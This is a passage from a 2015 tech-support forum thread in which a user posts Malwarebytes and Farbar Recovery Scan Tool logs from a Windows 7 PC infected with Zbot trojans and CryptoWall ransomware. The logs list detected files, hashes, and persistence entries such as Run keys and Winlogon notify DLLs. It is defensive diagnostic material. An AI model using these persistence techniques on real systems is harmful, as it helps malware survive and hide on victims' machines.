<vendor>Trojan.Zbot.gen</vendor>

<action>success</action>

<hash>03133d06226893a3178d44789b6632ce</hash>

</file>

- <file>
<path>C:\Windows\Temp\UpdateFlashPlayer_c87ed4ec.exe</path>

<vendor>Trojan.Spy.Zbot</vendor>

<action>success</action>

<hash>fe18b192a9e163d354c0f9d469987987</hash>

</file>

- <file>
<path>C:\Windows\Temp\UpdateFlashPlayer_e3b9c965.exe</path>

<vendor>Spyware.Zbot.ED</vendor>

<action>success</action>

<hash>60b657ec1b6fd660e00fe66937c93fc1</hash>

</file>

- <file>
<path>C:\Windows\Temp\wcrash.exe</path>

<vendor>Trojan.Agent.ED</vendor>

<action>success</action>

<hash>71a55ee595f5e6507477775449b841bf</hash>

</file>

- <file>
<path>C:\Windows\Installer\{AC4313D8-F0CE-48FE-81FB-7BF95902198A}\msiexec.exe</path>

<vendor>Trojan.MSIL.ED</vendor>

<action>success</action>

<hash>69ad99aa3159280ed9311d01b54d768a</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT_INSTRUCTION.HTML</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>7e9859ea206a0c2a09ea8a3ba75cd42c</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT_INSTRUCTION.TXT</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>22f403405e2c6ec890636e5762a155ab</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DECRYPT_INSTRUCTION.URL</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>0d0912318a00db5b6390c6ffd42f2ad6</hash>

</file>

- <file>
<path>C:\Users\Tim\Desktop\DECRYPT_INSTRUCTION.HTML</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>9a7ce162424840f6d222893c0102748c</hash>

</file>

- <file>
<path>C:\Users\Tim\Desktop\DECRYPT_INSTRUCTION.TXT</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>4dc9172cf397cf67db191ca93fc48878</hash>

</file>

- <file>
<path>C:\Users\Tim\Desktop\DECRYPT_INSTRUCTION.URL</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>051123200882c86ebf35576ebb487789</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Local\svcxdcl32.dat</path>

<vendor>Trojan.Agent</vendor>

<action>success</action>

<hash>e2341330fd8d0f27ae1ff5e02fd4b749</hash>

</file>

- <file>
<path>C:\Windows\Tasks\Security Center Update - 2599292222.job</path>

<vendor>Trojan.Agent.RvGen</vendor>

<action>success</action>

<hash>32e4083be2a80d2940d411e5aa5a2cd4</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_DECRYPT.HTML</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>8294ca79444694a2ee4b6fc8ed186b95</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_DECRYPT.PNG</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>40d621228307f541db5e1027e3228977</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_DECRYPT.TXT</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>7e98b48feb9f7eb84aef50e72adbb848</hash>

</file>

- <file>
<path>C:\Users\Tim\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\HELP_DECRYPT.URL</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>e630241fe4a6e74ffd3c191e40c5728e</hash>

</file>

- <file>
<path>C:\Users\Tim\Desktop\HELP_DECRYPT.HTML</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>f6200b38b7d3f83efb3f77c0d92cc43c</hash>

</file>

- <file>
<path>C:\Users\Tim\Desktop\HELP_DECRYPT.PNG</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>51c5c083a4e60f275ddd0334e61f12ee</hash>

</file>

- <file>
<path>C:\Users\Tim\Desktop\HELP_DECRYPT.TXT</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>f62053f0e0aa93a3a29852e546bf0bf5</hash>

</file>

- <file>
<path>C:\Users\Tim\Desktop\HELP_DECRYPT.URL</path>

<vendor>CryptoWall.Trace</vendor>

<action>success</action>

<hash>779f92b18604989e9d9de75011f450b0</hash>

</file>

</items>

</mbam-log>


----------



## timmy12342 (Mar 7, 2015)

Scan result of Farbar Recovery Scan Tool (FRST) (x86) Version: 08-03-2015 03
Ran by Tim (administrator) on TIM-PC on 08-03-2015 21:20:38
Running from C:\Users\Tim\Downloads\FRST-OlderVersion
Loaded Profiles: Tim (Available profiles: Tim)
Platform: Microsoft Windows 7 Ultimate (X86) OS Language: English (United States)
Internet Explorer Version 8 (Default browser: FF)
Boot Mode: Normal
Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Processes (Whitelisted) =================

(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)

(Apple Inc.) C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
(Malwarebytes Corporation) D:\Malwarebytes Anti-Malware\mbamscheduler.exe
(Malwarebytes Corporation) D:\Malwarebytes Anti-Malware\mbamservice.exe
(Malwarebytes Corporation) D:\Malwarebytes Anti-Malware\mbam.exe
(Apple Inc.) D:\iTunes\iTunesHelper.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(Belkin) C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe
(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
() C:\Program Files\Linksys\Wireless-B PCI Adapter\OdHost.exe
(The Linksys Group, Inc.) C:\Program Files\Linksys\Wireless-B PCI Adapter\WMP11CFG.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\PresentationHost.exe
(Microsoft Corporation) C:\Windows\System32\cmd.exe
(Microsoft Corporation) C:\Windows\System32\cmd.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Microsoft Corporation) C:\Windows\System32\msiexec.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe

==================== Registry (Whitelisted) ==================

(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)

HKLM\...\Run: [iTunesHelper] => D:\iTunes\iTunesHelper.exe [152392 2014-01-20] (Apple Inc.)
HKLM\...\Run: [Adobe ARM] => C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1022152 2014-12-19] (Adobe Systems Incorporated)
HKLM\...\Run: [{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}] => C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}.exe [212011 2014-05-15] ()
HKLM\...\Run: [FlashPlayerUpdate] => C:\Users\Tim\AppData\Local\Macromedia\Flash Player\FlashPlayerUpdateService.exe [188928 2015-03-08] ()
HKLM\...\RunServices: [Atheros Configuration Service] => C:\Windows\System32\acs.exe [36864 2005-05-05] ()
HKLM Group Policy restriction on software: C:\Documents and Settings\All Users\Application Data\Symantec <====== ATTENTION
Winlogon\Notify\fgatvmt: C:\Users\Tim\AppData\Local\fgatvmt.dll ()
Winlogon\Notify\fgutvrt: C:\Users\Tim\AppData\Local\fgutvrt.dll ()
Winlogon\Notify\jtukorw: C:\Users\Tim\AppData\Local\jtukorw.dll ()
Winlogon\Notify\jtunomw: C:\Users\Tim\AppData\Local\jtunomw.dll ()
HKLM\...\Policies\Explorer\Run: [{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}] => C:\ProgramData\Microsoft\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}\{b9db9f85-d79c-d719-f7d2-c8c0d1b4e524}.exe [212011 2014-05-15] ( ())
HKLM\...\Policies\Explorer: [TaskbarNoNotification] 1
HKLM\...\Policies\Explorer: [HideSCAHealth] 1
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [cegulxibxuac] => C:\Windows\system32\config\systemprofile\cegulxibxuac.exe
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [fafofsukhoff] => C:\Windows\system32\config\systemprofile\fafofsukhoff.exe
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [jtukorw] => rundll32 "C:\Users\Tim\AppData\Local\jtukorw.dll",jtukorw <===== ATTENTION
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [jtunomw] => rundll32 "C:\Users\Tim\AppData\Local\jtunomw.dll",jtunomw <===== ATTENTION
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Run: [BluetoothS] => rundll32.exe "%appdata%\BtvStack.dll",BTHF_Register
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Policies\Explorer: [TaskbarNoNotification] 1
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\Policies\Explorer: [HideSCAHealth] 1
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\...\MountPoints2: {04d0d698-2225-11e3-8548-000f66449638} - G:\VZW_Software_upgrade_assistant.exe
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Belkin Wireless Utility.lnk
ShortcutTarget: Belkin Wireless Utility.lnk -> C:\Program Files\Belkin\PCI F5D7000\Wireless Utility\Belkinwcui.exe (Belkin)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Wireless-B Notebook Adapter Utility.lnk
ShortcutTarget: Wireless-B Notebook Adapter Utility.lnk -> C:\Program Files\Linksys\Wireless-B PCI Adapter\Startup.exe ()

==================== Internet (Whitelisted) ====================

(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)

HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.google.com
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Internet Explorer\Main,Start Page = http://go.microsoft.com/fwlink/?LinkId=56626&homepage=http://www.google.com/
HKU\S-1-5-21-1360264287-3610818973-3505073857-1000\Software\Microsoft\Internet Explorer\Main,Start Page Redirect Cache = http://www.msn.com/?ocid=iehp
SearchScopes: HKU\.DEFAULT -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-19 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-20 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = 
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> URL http://search.conduit.com/Results.aspx?ctid=CT3323878&octid=EB_ORIGINAL_CTID&SearchSource=58&CUI=&UM=4&UP=SP15BE49DC-0845-49C5-BF5C-5190268C75F4&q={searchTerms}&SSPV=SE1CG2_sp_ie
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> SuggestionsURL_JSON http://suggest.search.conduit.com/CSuggestJson.ashx?prefix={searchTerms}
SearchScopes: HKU\S-1-5-21-1360264287-3610818973-3505073857-1000 -> {6119AD82-DA2F-4B34-BB9A-878B98DF03EF} URL = http://www.bing.com/search?q={searchTerms}
Hosts: There are more than one entry in Hosts. See Hosts section of Addition.txt
Tcpip\Parameters: [DhcpNameServer] 192.168.1.254
Tcpip\..\Interfaces\{0A701E19-B8CC-48FE-9129-69D20D883E0A}: [NameServer] 8.8.8.8,8.8.8.8
Tcpip\..\Interfaces\{3CECBD33-0414-46BB-A109-5AB2BCAB6F05}: [NameServer] 8.8.8.8,8.8.8.8
Tcpip\..\Interfaces\{6ACC83AB-D0B3-4EE0-BE79-8E2D5CF777BF}: [NameServer] 8.8.8.8,8.8.8.8,8.8.4.4

FireFox:
========
FF ProfilePath: C:\Users\Tim\AppData\Roaming\Mozilla\Firefox\Profiles\0msqv599.default
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF32_16_0_0_305.dll [2015-03-03] ()
FF Plugin: @Apple.com/iTunes,version=1.0 -> D:\iTunes\Mozilla Plugins\npitunes.dll [2013-12-18] ()
FF Plugin: Adobe Reader -> C:\Program Files\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2014-12-03] (Adobe Systems Inc.)

Chrome: 
=======
CHR Profile: C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (save! Net) - C:\Users\Tim\AppData\Local\Google\Chrome\User Data\Default\Extensions\hbimodhljhimhoodfcelccoebafophdn [2014-04-21]

========================== Services (Whitelisted) =================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

R2 MBAMScheduler; D:\Malwarebytes Anti-Malware\mbamscheduler.exe [1871160 2014-11-21] (Malwarebytes Corporation)
R2 MBAMService; D:\Malwarebytes Anti-Malware\mbamservice.exe [969016 2014-11-21] (Malwarebytes Corporation)
S4 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [680960 2009-07-13] (Microsoft Corporation)

==================== Drivers (Whitelisted) ====================

(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)

R2 AegisP; C:\Windows\System32\DRIVERS\AegisP.sys [17801 2015-03-02] (Meetinghouse Data Communications) [File not signed]
R3 BLKWGD; C:\Windows\System32\DRIVERS\BLKWGD.sys [463872 2005-06-01] (Belkin Corporation.)
S3 EsgScanner; C:\Windows\System32\DRIVERS\EsgScanner.sys [19984 2015-03-06] ()
S3 IPN2120; C:\Windows\System32\DRIVERS\LSIPNDS.sys [96256 2003-07-10] (The Linksys Group, Inc.)
R3 MBAMProtector; C:\Windows\system32\drivers\mbam.sys [23256 2014-11-21] (Malwarebytes Corporation)
R3 MBAMSwissArmy; C:\Windows\system32\drivers\MBAMSwissArmy.sys [114904 2015-03-08] (Malwarebytes Corporation)
R3 MBAMWebAccessControl; C:\Windows\system32\drivers\mwac.sys [51928 2014-11-21] (Malwarebytes Corporation)
R3 odysseyIM3; C:\Windows\System32\DRIVERS\odysseyIM3.sys [62673 2003-05-14] (Funk Software, Inc.)
U5 VWiFiFlt; C:\Windows\System32\Drivers\VWiFiFlt.sys [48128 2009-07-13] (Microsoft Corporation)

==================== NetSvcs (Whitelisted) ===================

(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)

==================== One Month Created Files and Folders ========

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-03-08 20:49 - 2015-03-08 21:08 - 00114904 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\MBAMSwissArmy.sys
2015-03-08 20:49 - 2015-03-08 20:49 - 00000621 _____ () C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk
2015-03-08 20:48 - 2015-03-08 20:49 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Malwarebytes Anti-Malware
2015-03-08 20:48 - 2015-03-08 20:48 - 00000000 ____D () C:\ProgramData\Malwarebytes
2015-03-08 20:48 - 2014-11-21 06:14 - 00075480 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mbamchameleon.sys
2015-03-08 20:48 - 2014-11-21 06:14 - 00051928 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mwac.sys
2015-03-08 20:48 - 2014-11-21 06:14 - 00023256 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\mbam.sys
2015-03-08 20:20 - 2015-03-08 20:40 - 20447072 _____ (Malwarebytes Corporation ) C:\Users\Tim\Downloads\mbam-setup-2.0.4.1028.exe
2015-03-08 19:53 - 2015-03-08 20:03 - 00000000 ____D () C:\AdwCleaner
2015-03-08 19:48 - 2015-03-08 19:49 - 02126848 _____ () C:\Users\Tim\Downloads\adwcleaner_4.111.exe
2015-03-08 19:41 - 2015-03-08 19:41 - 00005015 _____ () C:\Users\Tim\Desktop\JRT.txt
2015-03-08 15:39 - 2015-03-08 15:45 - 01388333 _____ (Thisisu) C:\Users\Tim\Downloads\JRT.exe
2015-03-08 15:21 - 2015-03-08 15:21 - 00000761 _____ () C:\Windows\system32\Drivers\etc\hosts.txt
2015-03-08 15:16 - 2015-03-08 15:16 - 00023552 _____ () C:\Users\Tim\AppData\Local\jtunomw.dll
2015-03-08 14:57 - 2015-03-08 15:17 - 00805518 _____ () C:\Users\Tim\Desktop\ListCWall.txt
2015-03-08 14:55 - 2015-03-08 14:57 - 00452424 _____ (Bleeping Computer, LLC) C:\Users\Tim\Downloads\ListCWall.exe
2015-03-07 15:18 - 2015-03-07 15:23 - 00509440 _____ (Tech Support Guy System) C:\Users\Tim\Downloads\SysInfo.exe
2015-03-07 14:39 - 2015-03-07 14:39 - 00023552 _____ () C:\Users\Tim\AppData\Local\jtukorw.dll
2015-03-07 14:30 - 2015-03-08 21:20 - 00000000 ____D () C:\Users\Tim\Downloads\FRST-OlderVersion
2015-03-07 13:59 - 2015-03-07 14:32 - 00048686 _____ () C:\Users\Tim\Downloads\Shortcut.txt
2015-03-07 13:59 - 2015-03-07 14:32 - 00022741 _____ () C:\Users\Tim\Downloads\Addition.txt
2015-03-07 13:58 - 2015-03-07 14:32 - 00028747 _____ () C:\Users\Tim\Downloads\FRST.txt
2015-03-07 12:48 - 2015-03-08 21:20 - 00000000 ____D () C:\FRST
2015-03-07 02:07 - 2015-03-07 14:30 - 01134080 _____ (Farbar) C:\Users\Tim\Downloads\FRST.exe
2015-03-06 23:36 - 2015-03-06 23:36 - 00019984 _____ () C:\Windows\system32\Drivers\EsgScanner.sys
2015-03-06 22:59 - 2015-03-06 23:00 - 00018944 ___SH () C:\Users\Tim\Thumbs.db
2015-03-06 16:15 - 2015-03-06 16:16 - 00000000 ____D () C:\Program Files\Mozilla Firefox
2015-03-06 04:47 - 2015-03-06 04:47 - 00023552 _____ () C:\Users\Tim\AppData\Local\fgutvrt.dll
2015-03-05 20:07 - 2015-03-08 21:07 - 00000000 ___HD () C:\ProgramData\{D9E629DC-CB1C-4A97-9900-81922B4EFFD4}
2015-03-05 15:53 - 2015-03-05 15:53 - 00023552 _____ () C:\Users\Tim\AppData\Local\fgatvmt.dll
2015-03-05 15:26 - 2015-03-05 15:26 - 00000568 _____ () C:\Users\Public\Desktop\Graphic Equalizer Studio 2015.lnk
2015-03-05 15:26 - 2015-03-05 15:26 - 00000568 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Graphic Equalizer Studio 2015.lnk
2015-03-05 15:26 - 2015-03-05 15:26 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Graphic Equalizer Studio 2015
2015-03-05 15:26 - 2015-03-05 15:26 - 00000000 ____D () C:\Program Files\graphic eq
2015-03-05 15:11 - 2015-03-05 15:24 - 08774480 _____ (Pantaray Research Ltd.) C:\Users\Tim\Downloads\EQDemo64.exe
2015-03-05 14:41 - 2015-03-05 14:42 - 01265198 _____ () C:\Users\Tim\Downloads\EqualizerAPO32-0.7.exe
2015-03-05 14:31 - 2015-03-05 14:34 - 01657594 _____ () C:\Users\Tim\Downloads\EqualizerAPO64-0.9.1.exe
2015-03-04 18:27 - 2015-03-04 18:27 - 00008706 _____ () C:\HELP_DECRYPT.HTML
2015-03-04 18:27 - 2015-03-04 18:27 - 00004296 _____ () C:\HELP_DECRYPT.TXT
2015-03-04 18:27 - 2015-03-04 18:27 - 00000304 _____ () C:\HELP_DECRYPT.URL
2015-03-03 20:03 - 2015-03-03 20:03 - 00018944 ___SH () C:\Users\Tim\AppData\Thumbs.db
2015-03-02 15:41 - 2015-03-02 15:57 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Local Store
2015-03-02 15:38 - 2015-03-02 15:38 - 00008630 _____ () C:\Users\Tim\HELP_DECRYPT.HTML
2015-03-02 15:38 - 2015-03-02 15:38 - 00008630 _____ () C:\Users\Tim\Downloads\HELP_DECRYPT.HTML
2015-03-02 15:38 - 2015-03-02 15:38 - 00008630 _____ () C:\Users\Tim\Documents\HELP_DECRYPT.HTML
2015-03-02 15:38 - 2015-03-02 15:38 - 00008630 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.HTML
2015-03-02 15:38 - 2015-03-02 15:38 - 00008630 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.HTML
2015-03-02 15:38 - 2015-03-02 15:38 - 00008630 _____ () C:\Users\Tim\AppData\HELP_DECRYPT.HTML
2015-03-02 15:38 - 2015-03-02 15:38 - 00004258 _____ () C:\Users\Tim\HELP_DECRYPT.TXT
2015-03-02 15:38 - 2015-03-02 15:38 - 00004258 _____ () C:\Users\Tim\Downloads\HELP_DECRYPT.TXT
2015-03-02 15:38 - 2015-03-02 15:38 - 00004258 _____ () C:\Users\Tim\Documents\HELP_DECRYPT.TXT
2015-03-02 15:38 - 2015-03-02 15:38 - 00004258 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.TXT
2015-03-02 15:38 - 2015-03-02 15:38 - 00004258 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.TXT
2015-03-02 15:38 - 2015-03-02 15:38 - 00004258 _____ () C:\Users\Tim\AppData\HELP_DECRYPT.TXT
2015-03-02 15:38 - 2015-03-02 15:38 - 00000292 _____ () C:\Users\Tim\HELP_DECRYPT.URL
2015-03-02 15:38 - 2015-03-02 15:38 - 00000292 _____ () C:\Users\Tim\Downloads\HELP_DECRYPT.URL
2015-03-02 15:38 - 2015-03-02 15:38 - 00000292 _____ () C:\Users\Tim\Documents\HELP_DECRYPT.URL
2015-03-02 15:38 - 2015-03-02 15:38 - 00000292 _____ () C:\Users\Tim\AppData\Roaming\HELP_DECRYPT.URL
2015-03-02 15:38 - 2015-03-02 15:38 - 00000292 _____ () C:\Users\Tim\AppData\Local\HELP_DECRYPT.URL
2015-03-02 15:38 - 2015-03-02 15:38 - 00000292 _____ () C:\Users\Tim\AppData\HELP_DECRYPT.URL
2015-03-02 15:37 - 2015-03-02 15:37 - 00008630 _____ () C:\ProgramData\HELP_DECRYPT.HTML
2015-03-02 15:37 - 2015-03-02 15:37 - 00004258 _____ () C:\ProgramData\HELP_DECRYPT.TXT
2015-03-02 15:37 - 2015-03-02 15:37 - 00000292 _____ () C:\ProgramData\HELP_DECRYPT.URL
2015-03-02 15:35 - 2015-03-02 15:35 - 00023552 _____ () C:\Users\Tim\AppData\Local\fganvmt.dll
2015-03-02 14:41 - 2015-03-06 22:57 - 00000000 ____D () C:\Program Files\Enigma Software Group
2015-03-02 14:38 - 2015-03-02 14:40 - 03044736 _____ (Enigma Software Group USA, LLC.) C:\Users\Tim\Downloads\SpyHunter-Installer.exe
2015-03-02 13:52 - 2015-03-02 13:52 - 00017801 _____ (Meetinghouse Data Communications) C:\Windows\system32\Drivers\AegisP.sys
2015-03-02 13:52 - 2015-03-02 13:52 - 00001228 _____ () C:\Users\Public\Desktop\Belkin Wireless Utility.lnk
2015-03-02 13:52 - 2015-03-02 13:52 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Belkin
2015-03-02 13:52 - 2015-03-02 13:52 - 00000000 ____D () C:\Program Files\Belkin
2015-03-02 13:52 - 2005-06-01 23:37 - 00463872 _____ (Belkin Corporation.) C:\Windows\system32\Drivers\BLKWGD.sys
2015-02-27 19:28 - 2015-03-01 00:04 - 00002016 _____ () C:\Users\Tim\Desktop\jokes.txt
2015-02-27 19:24 - 2015-02-27 19:24 - 02160179 _____ () C:\Users\Tim\Documents\Comedy.wma
2015-02-23 14:19 - 2015-03-02 14:02 - 00000000 ___HD () C:\Program Files\InstallShield Installation Information
2015-02-23 14:19 - 2015-03-02 13:52 - 00000000 ____D () C:\Program Files\Common Files\InstallShield
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wireless-B PCI Adapter
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Linksys
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Funk Software
2015-02-23 14:19 - 2015-02-23 14:19 - 00000000 ____D () C:\Program Files\Common Files\Funk Software
2015-02-23 13:54 - 2015-02-23 13:52 - 01887656 _____ () C:\Users\Tim\Desktop\F5D7230-4-V3.00.05.bin
2015-02-23 13:54 - 2015-02-23 13:52 - 01674172 _____ () C:\Users\Tim\Desktop\BELKIN_AP_2.00.04.bin
2015-02-23 13:44 - 2015-02-23 13:43 - 02097152 _____ () C:\Users\Tim\Desktop\f5d7230-4_us_9.00.02.bin
2015-02-23 13:20 - 2015-02-23 13:20 - 00000000 ____D () C:\Windows\Cache
2015-02-17 22:30 - 2015-03-04 18:27 - 00000000 ____D () C:\Linksys Driver

==================== One Month Modified Files and Folders =======

(If an entry is included in the fixlist, the file\folder will be moved.)

2015-03-08 21:14 - 2009-07-14 00:34 - 00014016 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0
2015-03-08 21:14 - 2009-07-14 00:34 - 00014016 ____H () C:\Windows\system32\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0
2015-03-08 21:13 - 2011-10-16 17:38 - 00713888 _____ () C:\Windows\system32\PerfStringBackup.INI
2015-03-08 21:07 - 2014-08-08 18:15 - 00000000 ____D () C:\ProgramData\AswoDnix
2015-03-08 21:07 - 2014-03-17 19:14 - 00042072 _____ () C:\Windows\PFRO.log
2015-03-08 21:07 - 2009-07-14 00:53 - 00000006 ____H () C:\Windows\Tasks\SA.DAT
2015-03-08 21:07 - 2009-07-14 00:39 - 00025576 _____ () C:\Windows\setupact.log
2015-03-08 21:05 - 2014-08-15 21:01 - 00000000 ____D () C:\ProgramData\IpsuVpak
2015-03-08 21:05 - 2014-08-15 20:35 - 00000000 ____D () C:\ProgramData\OrbiBesd
2015-03-08 21:05 - 2014-08-10 00:31 - 00000000 ____D () C:\ProgramData\IsruYacr
2015-03-08 21:05 - 2014-08-07 18:36 - 00000000 ____D () C:\ProgramData\EbvuDogn
2015-03-08 20:52 - 2012-09-05 13:06 - 00000830 _____ () C:\Windows\Tasks\Adobe Flash Player Updater.job
2015-03-08 19:36 - 2009-07-13 22:37 - 00000000 ____D () C:\Windows\system32\NDF
2015-03-07 14:23 - 2009-07-14 00:53 - 00032542 _____ () C:\Windows\Tasks\SCHEDLGU.TXT
2015-03-06 22:59 - 2011-10-16 17:30 - 00000000 ____D () C:\Users\Tim
2015-03-06 22:38 - 2011-10-16 17:31 - 01547097 _____ () C:\Windows\WindowsUpdate.log
2015-03-06 16:42 - 2014-05-15 20:24 - 00000000 ____D () C:\Program Files\Mozilla Maintenance Service
2015-03-05 14:46 - 2014-02-23 19:51 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Apple Computer
2015-03-03 16:15 - 2012-09-05 13:06 - 00701616 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerApp.exe
2015-03-03 16:15 - 2011-10-23 23:48 - 00071344 _____ (Adobe Systems Incorporated) C:\Windows\system32\FlashPlayerCPLApp.cpl
2015-03-02 15:38 - 2014-08-10 00:42 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\G001
2015-03-02 15:38 - 2014-05-15 20:24 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Mozilla
2015-03-02 15:38 - 2014-05-15 20:24 - 00000000 ____D () C:\Users\Tim\AppData\Local\Mozilla
2015-03-02 15:38 - 2014-04-15 21:59 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\BitTorrent
2015-03-02 15:38 - 2014-03-16 16:16 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Hoyle FaceCreator
2015-03-02 15:38 - 2014-03-16 16:16 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Hoyle
2015-03-02 15:38 - 2012-10-31 21:47 - 00000000 ____D () C:\Users\Tim\AppData\Local\Microsoft Games
2015-03-02 15:38 - 2011-10-23 23:48 - 00000000 ____D () C:\Users\Tim\AppData\Roaming\Adobe
2015-03-02 15:37 - 2014-02-23 19:51 - 00000000 ____D () C:\Users\Tim\AppData\Local\Apple Computer
2015-03-02 15:37 - 2014-02-23 19:51 - 00000000 ____D () C:\ProgramData\Apple Computer
2015-03-02 14:41 - 2014-03-12 17:39 - 00002441 _____ () C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Adobe Reader XI.lnk
